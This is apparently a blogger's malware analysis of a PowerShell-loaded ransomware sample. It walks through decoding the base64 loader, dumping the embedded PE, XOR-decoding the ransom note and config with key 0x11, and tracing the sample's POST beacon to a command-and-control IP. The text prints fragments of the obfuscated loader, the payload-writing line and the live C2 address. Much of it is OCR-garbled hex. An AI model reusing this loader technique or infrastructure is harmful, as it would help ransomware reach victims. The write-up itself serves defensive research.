	1101AASAABSMXXX129///J56N03/htCCFYBIBCh*XXVPwQRJCEQR001+X8129///D56X3/4XEIBQ3IN001AASAABSMQW+GBYVPDM/FT56FEIK3CE/FTCC0BChBMwEDg2FU2YRLCA/INV0sVT
	generative resolution and an and an and an and an and and an
	JOE19fLzDBMEUBWFYAXD+//33I6IU3/NU3/gA3/gU0iJtowzgogAXIDEP4//zPT0jgd/zgd/DRd/z+iVNevABBMYgUIIkoi830iIU0i8XUIAAAAwEKZYGOw'.'.'.'RightToLeft'] ForEad
13	
14	
15	\$CaWvFCXjlWtBFZKRyhJDI = MrvBEnPYxvNFFaulUtQSq
17	[Buta[]] CONVERSION - [Sutton Convert] - FromBass(String [_ioin(SudICONO(Collationrow) SudKrawantfbyUnt(Crita Scawart)))
18	folgefilesterestingeneration = folgenerations = folgenerations = folgeneration
19	[System.IO.File]::WriteAllBytes(\$FilePathStr, \$PDpGtHN4fBYyydUPthJpg);

The variable for the path can be the same but instead of pipe to write file / text we add the line with the System IO and make sure we have the variable name the same as in the extracted PowerShell.

Moving on to the large base64 string.



Using Notepad++ we notice the highlighted area is all 1 section. You may also notice the extra parameter name right after the join.



Searching for that value we find it all the way up right after the code for the shellcode reassembling.

So when we go to use the self decode trick we need from here all of the way to the end of the highlighted area to be sure we have all of the needed parameters to rebuild the base64 string before it gets decoded to hex/binary data.

Once we drop this into our wrapper and verify we have the proper output name set we can then just input it into the PowerShell ISE and run it and it will output our binary file for the next step.



ExtractedbytesFromLargeB64.bin																	
Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	OD	0E	OF	
00000000	00	02	A4	00	4D	5A	98	00	03	00	00	00	04	00	00	00	¤. <mark>MZ</mark> ~
00000010	FF	FF	00	00	B8	00	00	00	00	00	00	00	40	00	00	00	ÿÿ,@
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000030	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000040	D8	00	00	00	0E	1F	BA	0E	00	B4	09	CD	21	B8	01	4C	ذ´.Í!,.L
00000050	CD	21	54	68	69	73	20	70	72	6F	67	72	61	6D	20	63	Í!This program c
00000060	61	6E	6E	6F	74	20	62	65	20	72	75	6E	20	69	6E	20	annot be run in
00000070	44	4F	53	20	6D	6F	64	65	2E	OD	OD	0A	24	00	00	00	DOS mode\$
00000080	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000090	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000000A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000B0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000D0	00	00	00	00	00	00	00	00	00	00	00	00	50	45	00	00	PE
000000E0	4C	01	04	00	E3	CD	64	5F	00	00	00	00	00	00	00	00	LãÍd
000000F0	EO	00	02	01	0B	01	0E	OF	00	AO	01	00	00	0A	01	00	à
00000100	00	00	00	00	88	12	00	00	00	10	00	00	00	B0	01	00	^°
00000110	00	00	40	00	00	10	00	00	00	02	00	00	06	00	00	00	
00000120	00	00	00	00	06	00	00	00	00	00	00	00	00	DO	02	00	Ð
00000130	00	04	00	00	00	00	00	00	02	00	40	81	00	00	10	00	
00000140	00	10	00	00	00	00	10	00	00	10	00	00	00	00	00	00	
00000150	10	00	00	00	00	00	00	00	00	00	00	00	34	37	02	00	
00000160	C8	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	E
00000170	00	00	00	00	00	00	00	00	00	00	00	00	00	BO	02	00	·····°··
00000180	04	18	00	00	10	30	02	00	38	00	00	00	00	00	00	00	08
00000190	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

Now the first four bytes of this output appears to be a length of the remaining bytes in the output. These will need to be removed for the next step.

Portable Executable - PE32 32-bit Intel - Windows GUI	
Header Sections Directories Imports Strings	Load Config Debug Hex View
Property	Value
Signature	0x00004550 (Portable Executable)
Machine	32-bit Intel
Number of sections	4
Timestamp	9/18/2020 3:10:27 PM
Pointer to symbol table	0x0000000
Number of symbols	0
Size of optional header	224
Characteristics	0x0102
Size	169.00 KB
Created	3/28/2021 4:46:51 PM
Modified	3/28/2021 4:46:51 PM
Accessed	3/28/2021 4:46:51 PM

Here we see it is a 32 bit binary with a Timestamp of 9/18/2020 although the file was assembled today in the created date.

If we look at the Unicode strings we can see that file extension strings are not obfuscated or hashed like the other blog post showed.

/	неао	er	Sections	Directories	Imports
	373	.7	-zip		
	374	.7	zip		
	375	. a	cedb		
	376	. a	ccdt		
	377		doc		
	378	. a	iff		
	379	. a	pkg		
	380	. a	ppcache		
	381	. a	rch00		
	382		sax		
	383	. a	scii		
	384	. a	scx		
	385	. a	shx		
	386	. a	smx		
	387	. a	spx		
	388	. a	sset		
	389	. a	tom		
	390	.b	ackup		
	391	.b	lob		
	392	.b	rowser		
	393	.b	tapp		
	394	.b	zip2		
	395	. c	cbjs		
	396	. c	ert		
	397	. c	fml		
	398	. c	hat		
	399	. c	lass		
	400	. c	odasite		
	401	. c	ompressed		
	402	. c	onf		
	403	. c	onfig		
	404	. c	phd		
	405	. c	pio		
	406	. c	rypt		
	407	. c	shtml		
	408	. d	l3dbsp		
	409	.d	azip		
	410	.d	esc		
	411	.d	html		
	412	- d	iff		
	413	. d	1500		
	414	. d	iscomap		
	415	.d	JVu		
	916	.d	OCD		
	410	.0	Continu		
	410	. d	ocm		
	419	o. بر	locy		
	421	.0	othtml		
	422	.0	lotm		
	423		lotx		
	424		lownload		
	425		wfx		
	426		dae		
	427		mail		
	428		pibry		
	429		sproj		
	430	. 1	cgi		
	431	. f	lac		
	432	. f	orge		
	433	. f	reeway		
1.000		_			

One of the next things I was looking for is how to extract the ransom Note.

The other Blog post gives us clues what we are looking for so lets look at the file in a hex editor.

00024B70	E4	29	42	00	FO	29	42	00	FC	29	42	00	08	2A	42	00	ä)B.ð)B.ü)B*B.
00024B80	14	2A	42	00	20	2A	42	00	2C	2A	42	00	38	2A	42	00	.*B. *B.,*B.8*B.
00024B90	48	2A	42	00	54	2A	42	00	60	2A	42	00	C7	5D	83	16	H*B.T*B.`*B.Ç]f.
00024BA0	10	37	68	47	7C	85	9B	15	CF	E3	F6	C7	BF	70	79	76	.7hG >.ÏãöÇ¿pyv
00024BB0	BF	ED	51	1A	F7	01	5D	04	F7	06	65	58	00	00	00	00	¿iQ.÷.].÷.eX
00024BC0	31	31	2D	30	55	5E	52	45	48	41	54	31	79	65	7C	7D	11-0U^REHAT1ye }
00024BD0	2 F	1B	2D	79	65	7C	7D	31	7D	70	7F	76	2C	33	74	7 F	/ye }1}p.v,3t.
00024BE0	33	2F	1B	2D	79	74	70	75	2F	1B	31	31	2D	7C	74	65	3/ytpu/.11- te
00024BF0	70	31	72	79	70	63	62	74	65	2C	36	64	65	77	ЗC	29	plrypcbte,6dew<)
00024C00	36	2F	1B	31	31	2D	7C	74	65	70	31	7F	70	7C	74	2C	6/.11- tep1.p t,
00024C10	36	67	78	74	66	61	7E	63	65	36	31	72	7E	7F	65	74	6gxtfa~ce61r~.et
00024C20	7F	65	2C	36	66	78	75	65	79	2C	75	74	67	78	72	74	.e,6fxuey,utgxrt
00024C30	3C	66	78	75	65	79	ЗD	78	7F	78	65	78	70	7D	3C	62	<fxuey=x.xexp}<b< td=""></fxuey=x.xexp}<b<>
00024C40	72	70	7D	74	2C	20	36	2F	1B	31	31	2D	65	78	65	7D	rp)t, 6/.11-exe)
00024C50	74	2F	2D	3E	65	78	65	7D	74	2F	1B	31	31	2D	62	65	t/->exe}t/.11-be
00024C60	68	7D	74	2F	1B	31	31	31	31	79	65	7C	7D	ЗD	31	73	h}t/.1111ye }=1s
00024C70	7E	75	68	31	6A	1B	31	31	31	31	31	31	73	70	72	7A	~uh1j.111111sprz
00024C80	76	63	7E	64	7F	75	3C	72	7E	7D	7E	63	2B	31	32	20	vc~d.u <r~}~c+12< td=""></r~}~c+12<>
00024C90	70	20	70	20	70	2A	1B	31	31	31	31	6C	1B	31	31	31	p p p*.11111.111
00024CA0	31	73	7E	75	68	31	6A	1B	31	31	31	31	31	31	61	70	1s~uh1j.111111ap
	_	_		_	-			_		_							

There is a very distinctive string that begins with "11" as it turn out "0x11" is the xor key.

One of the other samples used 0x13 for the xor key.

If we scroll down to the end we can see clearly where this section will end.

00021110	00	/ 7	05	05	30	15	17	12	11	05	10	00	10	15	12	20	cric/art.chevt
00027780	31	64	7F	75	74	63	7D	78	7F	74	2A	36	31	65	70	63	ld.utc}x.t*61epc
00027790	76	74	65	2C	36	4E	73	7D	70	7F	7A	36	31	79	63	74	vte,6Ns}p.z61yct
000277A0	77	2C	36	79	65	65	61	2B	3E	3E	7F	73	6B	6B	73	27	w,6yeea+>>.skks'
000277B0	62	70	27	69	64	64	63	70	23	6B	ЗF	7E	7F	78	7E	7F	bp'iddcp#k?~.x~.
000277C0	3E	36	2F	79	74	63	74	2D	3E	70	2F	31	7E	63	31	62	>6/ytct->p/1~c1b
000277D0	7E	7D	75	ЗF	1B	31	31	2D	3E	75	78	67	2F	1B	2D	3E	~}u?.11->uxg/>
000277E0	75	78	67	2F	1B	2D	75	78	67	31	62	65	68	7D	74	2C	uxg/uxg1beh}t,
000277F0	36	7C	70	63	76	78	7F	3C	65	7E	61	2B	31	23	63	74	6 pcvx. <e~a+1#ct< td=""></e~a+1#ct<>
00027800	7C	2A	36	2F	1B	2D	79	23	2F	5E	77	77	7D	78	7F	74	*6/y#/^ww}x.t
00027810	31	79	7E	66	3C	65	7E	2D	3E	79	23	2F	1B	2D	61	2F	1y~f <e~->y#/a/</e~->
00027820	52	7E	61	68	31	37	31	41	70	62	65	74	31	65	79	78	R~ah171Apbet1eyx
00027830	62	31	62	74	72	63	74	65	31	7C	74	62	62	70	76	74	b1btrcte1 tbbpvt
00027840	31	65	7E	31	2D	70	31	79	63	74	77	2C	33	79	65	65	<pre>1e~1-plyctw,3yee</pre>
00027850	61	2B	3E	ЗE	74	73	66	74	69	78	68	7C	73	62	78	73	a+>>tsftixh sbxs
00027860	25	63	7C	66	ЗF	7E	7F	78	7E	7F	33	2F	65	79	78	62	<pre>%c f?~.x~.3/eyxb</pre>
00027870	31	61	70	76	74	2D	3E	70	2F	31	65	74	69	65	70	63	lapvt->p/letiepc
00027880	74	70	31	77	78	74	7D	75	2D	3E	61	2F	1B	2D	61	2F	tp1wxt}u->a/a/
00027890	2D	73	7D	7E	72	7A	60	64	7E	65	74	2F	20	75	25	21	-s}~rz`d~et/ u%!
000278A0	22	27	21	28	26	24	70	26	22	74	20	73	20	75	74	29	"'!(&\$p&"t s ut)
000278B0	77	72	77	25	24	77	20	72	28	77	72	26	74	21	73	23	wrw%\$w r(wr&t!s#
000278C0	24	75	26	20	72	21	28	74	27	29	77	20	70	27	29	77	\$u& r!(t')w p')w
000278D0	23	24	27	21	73	70	75	26	77	77	74	26	29	26	26	24	#\$'!spu&wwt&)&&\$
000278E0	20	24	21	28	74	23	26	77	70	22	73	29	75	73	23	75	\$!(t#℘"s)us#u
000278F0	20	22	23	72	29	27	20	28	77	28	26	29	2D	3E	73	7D	"#r)' (w(&)->s}
00027900	7E	72	7A	60	64	7E	65	74	2F	2D	3E	61	2F	1B	2D	3E	~rz`d~et/->a/>
00027910	75	78	67	2F	1B	2D	3E	75	78	67	2F	1B	2D	3E	75	78	uxg/>uxg/>ux
00027920	67	2F	1B	2D	3E	73	7E	75	68	2F	1B	2D	3E	79	65	7C	g/>s~uh/>ye
00027930	7D	2 F	11	11	11	11	11	11	11	11	11	11	11	11	11	11	} 🛛
00027940	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027950	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027960	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027970	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027980	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027990	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279A0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279B0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279C0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279D0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279E0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000279F0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027A00	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027A10	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00027A20	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	



If we keep scrolling down while we still have multiple "11" values we get to this.

00020720	**	**	**	**	**	**	**	**	**	**	**	**	**	**	**	**	
00028730	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028740	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028750	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028760	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028770	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028780	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028790	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000287A0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000287B0	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	<u></u>
000287C0	24	29	70	24	21	21	20	29	28	25	75	23	21	24	24	72	\$)p\$!!)(%u#!\$\$r
000287D0	77	24	21	73	24	22	22	29	26	25	29	22	25	25	70	27	w\$!s\$"")&%)"%%p'
000287E0	20	21	21	24	22	25	75	72	27	77	27	75	77	26	27	21	!!\$"%ur'w'uw&'!
000287F0	25	26	25	21	72	27	28	74	25	70	23	70	27	70	28	22	%&%!r'(t%p#p'p("
00028800	73	28	20	72	73	77	24	27	77	23	27	23	20	70	23	28	s(rsw\$'w#'# p#(
00028810	11	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00028820	79	65	65	61	2B	ЗE	ЗE	28	20	ЗF	23	20	29	ЗF	20	20	yeea+>>(?#)?
00028830	25	ЗF	22	21	11	11	11	11	11	11	11	11	11	11	11	11	8?"!
00028840	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028850	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028860	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028870	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028880	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00028890	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
000288A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000288B0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000288C0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000288D0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000288E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000288F0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

If we xor that by 0x11 we get this.

- Excluded by	cesi io		"yet			_	TYTO I Y	runc.		NO	onu	ucuz				[
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	OD	0E	OF	
00000000	35 :	38	61	35	30	30	31	38	39	34	64	32	30	35	35	63	58a5001894d2055c
00000010	66 3	35	30	62	35	33	33	38	37	34	38	33	34	34	61	36	f50b5338748344a6
00000020	31 :	30	30	35	33	34	64	63	36	66	36	64	66	37	36	30	100534dc6f6df760
00000030	34 3	37	34	30	63	36	39	65	34	61	32	61	36	61	39	33	4740c69e4a2a6a93
00000040	62 3	39	31	63	62	66	35	36	66	32	36	32	31	61	32	39	b91cbf56f2621a29
00000050	00 3	11	11	11	11	11	11	11	11	11	11	11	11	11	11	11	
00000060	68 1	74	74	70	ЗA	2F	2F	39	31	2E	32	31	38	2E	31	31	http://91.218.11
00000070	34 3	2E	33	30	00	00	00	00	00	00	00	00	00	00	00	00	4.30
00000080	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000090	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000000A0	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000B0	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000000	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000D0	00 (00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

Next I upped this to Anyrun <u>here</u> because I could not figure out at the time where the ip was coming from.

At mets control of	MOVE YOUR MOUSE TO VIEW SCREENSHOT	15	ANY (DRUN
Afstart @ 3 0 0 0			# ()) 😭 🏳 11:22.PM 🔛
HTTP Requests Connections DNS Requests	0 Threats 2		Filter by IP ± PCAP
Timeshift Protocol Rep PID Process name CN	IP Port Domain	ASN	Traffic
🐂 15466 ms 🛛 TCP 👌 🔤			# 342b # -

One of the last pieces of this puzzle is that it does a post request with some encoded data.

Filter	http:request or http:response		• Expression (Dear Apply	Save Http Reques	t Http Response	Request Or Response MacAddres	User Agent Content type Octet Stream All Content Type	Referer NAT External IP Nat Traver
frame #	Time	Source	Sec Port	Destination	Dat Port	Stream index	Heat	lafo .	
81	2021-03-2/ 18:22:46	192.168.100.9/	49344	91.218.114.	. 30 80	0	91.218.114.30	POST / HTTP/	1.1
									I
+									
 nyper POS 	LEAC TRAISTER PROCOCOT								
Use	-Agent: Mozilla/5.0 (w	indows NT 10.0;	win64; x64)	ApplewebKit/	537.36 (KHTML	, like Geo	ko) Chrome/84.0.414	7.89 Safari/537.36 Edg/84.0.522.	40\r\n
Hos	:: 91.218.114.30\r\n								
8 Con	cent-Length: 112\r\n								
101	i -concror, no-cache (r y								
<u>[Fu</u>	<pre>1] request URI: http://</pre>	91.218.114.30/1							
[HT	IP request 1/1]								
Di	ta: 1910034124297024212	120292825752321	242472772421	73					
D.	ength: 112]								
0000	2 54 00 36 3e ff 12 03	33 4a 04 af 08	00 45 00	RT.6> 33	E.				
0010	1 7e 00 91 40 00 80 05 2 1e c0 c0 00 50 05 f1	05 e7 c0 a8 64 56 96 18 ac c5	61 Sb da	.~6	.da[.				
0030	1 03 03 16 00 00 50 4f	53 54 20 2F 20	48 54 54	PO ST /	HTT				
0040	0 2f 31 2e 31 0d 0a 55 4 3a 20 4d 6f 7a 69 6c	73 65 72 2d 41 6c 61 2f 35 2e	67 65 6e 30 20 28	P/1.1U ser-	Agen				I
0060	7 69 6e 64 6f 77 73 20	4e 54 20 31 30	2e 30 3b	Windows NT]	10.0;				I
0070	0 57 69 6e 36 34 3b 20	78 36 34 29 20	41 70 70	Win64: x64)	ADD				

If we look at the data that gets dumped from the packet we see this.

Packet-81.bi	in	<u>1</u>	Intitl	ed1													
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	oc	OD	0E	OF	
00000000	19	10	03	41	24	29	70	24	21	21	20	29	28	25	75	23	A\$)p\$!!)(%u#
00000010	21	24	24	72	77	24	21	73	24	22	22	29	26	25	29	22	!\$\$rw\$!s\$"")&%)"
00000020	25	25	70	27	20	21	21	24	22	25	75	72	27	77	27	75	%%p' !!\$"%ur'w'u
0000030	77	26	27	21	25	26	25	21	72	27	28	74	25	70	23	70	w&'!%&%!r'(t%p#p
00000040	27	70	28	22	73	28	20	72	73	77	24	27	77	23	27	23	'p("s(rsw\$'w#'#
00000050	20	70	23	28	09	10	31	17	39	AO	2A	21	10	2B	14	70	p#(1.9 *!.+.p
00000060	75	7C	78	7F	5B	16	44	62	74	63	3C	41	52	41	C4	16	u x.[.Dbtc <araä.< td=""></araä.<>

So as a guess I checked to see if it had a single byte xor key and to my surprise it did.

Pand Stools Toda Your Key 1004
Decode Patum as Hex or Sting Index as Decimal / Hex Input
19 10 03 41 24 29 70 24 21 21 20 29 28 25 75 23 21 24 24 72 77 24 21 73 24 22 29 26 25 29 22 25 25 70 27 20 21 21 24 22 25 75 72 27 77 75 77 26 27 21 25 26 25 21 72 27 28 74 25 70 23 70 27 70 28 22 73 28 20 72 73 77 24 27 77 23 27 23 20 70 23 28 41 C4 16
Output
Note: "T is also used for Chars not between 32.8.255 IDX: 00 !!!A\$jp\$!! (%u#!\$\$wd\$is\$"7.8%)" it\$"%um/uw81%6.%%!'(1%p#pip("s(rsw5/W#"# p#(!!1)9 "!!+lpub@[IDbto <araă] IDX: 01 !!!Q\${q\$: [15]; %%s%s' is###!(\$)\$\$\$q\$a[%is\$ts&wd\$v&\$`\$\$s\$ju\$q"q&q]mijsm%6.%"&"q"p008je !!!qtjy"2!Ecub=@S@ÅL IDX: 02 !!!C&+r&##"**W#&&pu&#q"pTii*%a*%a&s\$m=!avq5!sMt5\$" a%s *s\$s\$ju\$q"q&q]mijsm%6.%"&"q"p1008je !!!qtjy"2!Ecub=@S@ÅL
IDX: 03 !!!B*s''''''''''''''''''''''''''''''''''</td></tr><tr><td>IDX-12 !!!S6,b6332;7g1386'e63a600,47,077b5233607g'5e5ge4537473'517b1b5b0a2'ae65e1512b1!!!!!+**83!9!bgnjmliVpfq.S@SO!
IDX-13 !!!R7:c7223;6f0277ad72'711:56:166c43227161a4d4d5426562a4,g6064c;1';3a'd74d64030,!!'!*92!8lcfokH!WggpRAR+!
IDX-14 !!!U0+d0554=1a7500fc05g06e'21-6111d455061a152da235121534'1d71d3d-64g-44g003c7374'!s5i-5771da1hC0PV-w(UFUDI
IDX-15 !!!T1+e1445<<0'6411gb14f177-30-c700e2544170'g2b2'b3240304g2=a0e6e2e=7f=5gb12b6265e6!!s1jl;24i+e1imjWC0waYTGTN!
IDX-16 !!!W2?t27767>3c5722da27e244703?43311677243ac1a1ca0173037d1+b38511+4e>86de321a5156f5=11/]4<7=frightWR1bu*WDWO!
IDX-17 !!!V3+g3687>72b4633e'36d355>12>522g0766352be0'D0'1062124607c2g4g0g?5d7?ed'30'4d7q4'!81.=@frightWR1bu*WDWO!
IDX-18 !!!Y<1h=98810=mg+eije<%k<:1==1==h7899<=mg?o?mo>?9a=>00/01eh101408[ko<?o,?8h,011],2931hmd'gC1zt[\$Y1YU!
IDX-18 !!!Y<1h=988101=d8==km=8j=;0?<0,<<<>>8481mi+i=1i;j1j9kjm=>n.541:1!!0'1882/time=km=9j2!!+100,11j0tba4/'xmy& +10!
IDX-18 !!!Y<1h=988101=mg+eije<%k<?a??ak=1mi+i=7?9je2822htm==md=9j2!!+100,11j0tba4/'xmy& +10!
IDX-18 !!!Y<1h=988101=mg+eije=;0?<0,<<>>8482mi+i=1i;j1j9kjm=>n.541:1!!!0'1882thm==kj=21!+100,11j0tba4/'xmy& +10!
IDX-18 !!!Z?t2?:_23>n8.??87?m_=x8?nh=mcme<%?<h=2h=2719j=282htm==md=9j2!!+100,11j0tba4/'xmy& +10!
IDX-18 !!!Z?t2?:_23>n8.??87?m_=x8?nh=mcme<%k<s39n3;h1?48<s8383!*f">1:010kngd@l.ymxZ1Z8!</td></tr></tbody></table></araă]

The same one as the rest to decode with, 0x11.

📓 Packet-81.bin 📓 Untitled1		
Offset(h) 00 01 02 03	04 05 06 07 08 09 0A 0B 0C 0D 0E 0F	
00000000 08 01 12 50	35 38 61 35 30 30 31 38 39 34 64 32P58a5001894d2	
00000010 30 35 35 63	66 35 30 62 35 33 33 38 37 34 38 33 055cf50b53387483	
00000020 34 34 61 36	31 30 30 35 33 34 64 63 36 66 36 64 44a6100534dc6f6d	
00000030 66 37 36 30	34 37 34 30 63 36 39 65 34 61 32 61 f7604740c69e4a2a	
00000040 36 61 39 33	62 39 31 63 62 66 35 36 66 32 36 32 6a93b91cbf56f262	
00000050 31 61 32 39	18 01 20 06 28 B1 3B 30 01 3A 05 61 1a29(±;0.:.a	
00000060 64 6D 69 6E	4A 07 55 73 65 72 2D 50 43 50 D5 07 dminJ.User-PCPÕ.	

Does this passed hex value look familiar ? It is from the section where the IP was extracted.

What is it? I do not know. If someone does please let me know.

One other thing while I was not initially able to find the IP, I dropped this into IDA to see if I could figure out how it worked.

Seeing this ..



And this ..



Was still no help to figure out what was passed.

I'm sure the IDA Experts could tease out the information quick but that is something else I still need to learn.

While working on this and needing more samples to compare I also wrote a yara rule to detect the obfuscation format. The open source one will detect the base 64 encoding method.



This first version will search for substring as a string and only has to be found once since the value is "11" in the string.



This version will search for the "Substring" string as bytes but allow for multiple possible values in the start point for the substring.

Well that is pretty much as far I can go on this.

Possible future research.

Set up a vm with Sysmon and PowerShell logging enabled as suggested by Lee Holmes <u>here</u> and run the sample to see what the logs will show me.

Take a closer look and learn how the encryption works.

Links:

<u>Link</u> to Acronis Blog post <u>Link</u> to Sapphire Blog post

Link to Anyrun for the extracted ransomware Link to Anyrun for PowerShell sample Link to tri.age Search

Link to my Github for Files

<u>Link</u> for open source yara rule for the binary <u>Link</u> for open source yara rule for finding the PowerShell script

Link for working with CyberChef Assembly